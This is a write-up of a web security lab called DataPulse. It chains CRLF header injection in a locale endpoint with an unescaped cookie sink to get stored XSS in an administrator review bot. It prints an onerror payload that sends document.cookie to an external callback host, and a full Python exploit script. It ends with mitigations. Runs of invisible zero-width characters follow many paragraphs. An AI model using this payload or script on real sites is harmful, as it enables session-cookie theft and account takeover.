← Back to Writeups
CUSTOMMediumWeb

Lab 74 — DataPulse — Stored XSS via CRLF Injection in Locale Endpoint

XESXOR9/10/20266 min read
#web#custom#medium#crlf_header_injection#cookie_planting#stored_xss_exploitation#browser_data_exfiltration

Lab 74 — DataPulse — Stored XSS via CRLF Injection in Locale Endpoint

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: crlf_header_injection, cookie_planting, stored_xss_exploitation, browser_data_exfiltration

Summary

Task: An authenticated locale endpoint writes unsanitized input into Set-Cookie, while a support bot reviews submitted URLs. Solution: Inject a greeting cookie with CRLF, trigger its unescaped dashboard sink, and exfiltrate the admin cookie.

Lab 74 — DataPulse — Stored XSS via CRLF Injection in Locale Endpoint — hackadvisor

Description

DataPulse is an analytics dashboard with localization and display preferences, plus a support system where users submit bug-report URLs for an administrator to review. The objective is to execute JavaScript in another user's browser and steal sensitive data.

An authenticated user can change the interface locale and submit a URL to the support team. The goal is to combine these features so that JavaScript executes in the administrator's browser and sends privileged browser data to the supplied Interaction Server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

After logging in, the useful authenticated pages were:

  • / — dashboard and welcome banner;
  • /reports — analytics reports;
  • /settings — localization and display preferences;
  • /support — bug-report submission form.

The settings page used this endpoint:

http
GET /api/set-locale?lang=en HTTP/1.1
Host: TARGET

Its normal response was a redirect:

http
HTTP/1.1 302 Found
Set-Cookie: locale=en; Path=/; SameSite=Lax; Secure
Location: /

The support page loaded /js/support.js. It showed that bug reports are sent as JSON to POST /api/report-bug: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{"url":"http://localhost:8080/...","description":"Locale greeting issue"}

The service accepted a loopback URL and instructed an administrator-controlled HeadlessChrome browser to visit it. Separately, /js/dashboard.js revealed that the greeting cookie customizes the dashboard's welcome banner.

Vulnerability Analysis

1. CRLF injection in the locale cookie

The lang parameter was copied directly into a Set-Cookie response header. A differential probe containing URL-encoded carriage-return and line-feed bytes added a new response header: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
lang=probe%0D%0AX-Probe%3A%20yes

The response then contained an X-Probe header. This proved response-header injection; it was not translation-file or localization-template injection.

Because a line break could start another header, the endpoint could emit a second Set-Cookie header:

http
Set-Cookie: locale=en
Set-Cookie: greeting=ATTACKER_VALUE; Path=/

2. Unescaped greeting sink

The application URL-decoded the greeting cookie and inserted the resulting value into .welcome-banner without HTML escaping. Planting a greeting containing an image with an onerror handler caused the subsequent redirect to / to include that raw element in the dashboard HTML. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This establishes the actual stored-XSS mechanism:

  1. the vulnerable locale response plants a persistent greeting cookie;
  2. the browser follows the redirect to the dashboard;
  3. the dashboard decodes and renders the cookie as HTML;
  4. the event handler executes in the application's origin.

Direct response-body splitting could also execute JavaScript, but it was unnecessary. The intended chain is CRLF cookie planting followed by the unescaped greeting sink.

3. Administrator trigger

The report API made the privileged browser visit a supplied http://localhost:8080/... URL. Therefore, a report pointing to the malicious locale URL caused the administrator's browser to set the injected cookie and then render it on the redirected dashboard. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload Construction

Two separate URL-encoding layers are essential.

The inner payload is HTML stored as the greeting cookie value:

html
<img src=x onerror="location='http://interact/INSTANCE/callback/NONCE/'+encodeURIComponent(document.cookie)">

First, URL-encode the complete HTML element. This preserves characters that are unsafe in a cookie value and lets the dashboard's cookie decoding recover the element.

Next, construct the raw locale value:

text
en\r\nSet-Cookie: greeting=ENCODED_HTML; Path=/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Finally, URL-encode that entire CRLF-bearing string for the lang query parameter. This outer encoding transports the line break and also encodes the percent signs from the inner layer, so they remain present when the injected Set-Cookie header reaches Chromium.

The resulting bot URL has this form:

text
http://localhost:8080/api/set-locale?lang=DOUBLE_ENCODED_VALUE

Exploitation

The following script logs in as the supplied user, builds both encoding layers, and submits the localhost URL for administrator review: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import argparse
import urllib.parse

import requests


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True, help="Lab origin")
    parser.add_argument("--interact", required=True, help="Interaction Server base URL")
    parser.add_argument("--nonce", default="datapulse-stored-xss")
    parser.add_argument("--email", default="user@test.com")
    parser.add_argument("--password", default="password123")
    args = parser.parse_args()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    callback = f"{args.interact.rstrip('/')}/callback/{args.nonce}/"
    html = (
        "<img src=x onerror=\"location='"
        + callback
        + "'+encodeURIComponent(document.cookie)\">"
    )

    # Layer 1: encode the HTML that becomes the greeting cookie value.
    cookie_value = urllib.parse.quote(html, safe="")

    # Layer 2: inject another Set-Cookie header, then encode the whole query value.
    lang = "en\r\nSet-Cookie: greeting=" + cookie_value + "; Path=/"
    bot_url = (
        "http://localhost:8080/api/set-locale?lang="
        + urllib.parse.quote(lang, safe="")
    )
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    session = requests.Session()
    login = session.post(
        args.base.rstrip("/") + "/login",
        data={"email": args.email, "password": args.password},
    )
    login.raise_for_status()

    report = session.post(
        args.base.rstrip("/") + "/api/report-bug",
        json={"url": bot_url, "description": "Locale greeting issue"},
    )
    report.raise_for_status()
    print("Report accepted; inspect callback nonce:", args.nonce)


if __name__ == "__main__":
    main()

The final run used a unique nonce on a freshly reset instance. The Interaction Server recorded a request whose path began with: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
/callback/NONCE/flag%3DFLAG%7BREDACTED%7D%3B%20greeting%3D...

It came from HeadlessChrome 124 at the lab-internal source 172.30.0.4. URL-decoding the path proved that the privileged flag cookie, rather than ordinary page content, had been exfiltrated. The nonce tied this callback to the submitted stored-XSS payload.

Flag Verification

Ordinary application HTML contained a conspicuous flag-shaped honeypot value. It was rejected because it was available without exploitation and had no administrator-callback provenance. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The accepted flag was instead obtained from document.cookie in the administrator's browser. Three observations establish provenance:

  1. the callback path matched the one-time nonce used in the submitted payload;
  2. the user agent and internal source matched the review bot;
  3. the decoded callback contained the privileged flag cookie alongside the injected greeting cookie.

Operational Caveat

The first lab instance's review bot stopped visiting reports after its initial review. Additional accepted reports, a newly created account, and waits of up to ten minutes produced no callback. Resetting the instance restored one review, and submitting the refined stored-XSS payload once succeeded immediately. This behavior was operational state, not evidence against the exploit chain. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mitigation

  • Reject control characters, especially \r and \n, in all values used to construct response headers.
  • Generate cookies through a framework cookie API rather than concatenating raw header strings.
  • Treat cookie values as untrusted input and insert them with textContent, or apply context-appropriate HTML escaping before rendering.
  • Mark sensitive cookies HttpOnly so JavaScript cannot read them; also retain Secure and an appropriate SameSite policy.
  • Restrict the review bot to an allowlist of safe application routes and isolate it from sensitive administrator state.
  • Add a restrictive Content Security Policy as defense in depth against inline event handlers and unauthorized exfiltration endpoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Evidence and Artifacts

  • notes.md records the baseline and differential responses, local stored-XSS proof, callback provenance, bot behavior, and final solve checkpoint.
  • stored_exploit.py is the successful exploit implementation with the two encoding layers.
  • recon.py records authenticated route and JavaScript discovery.
  • exploit.py documents the tested direct response-body splitting variant, which was not required for the final chain. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍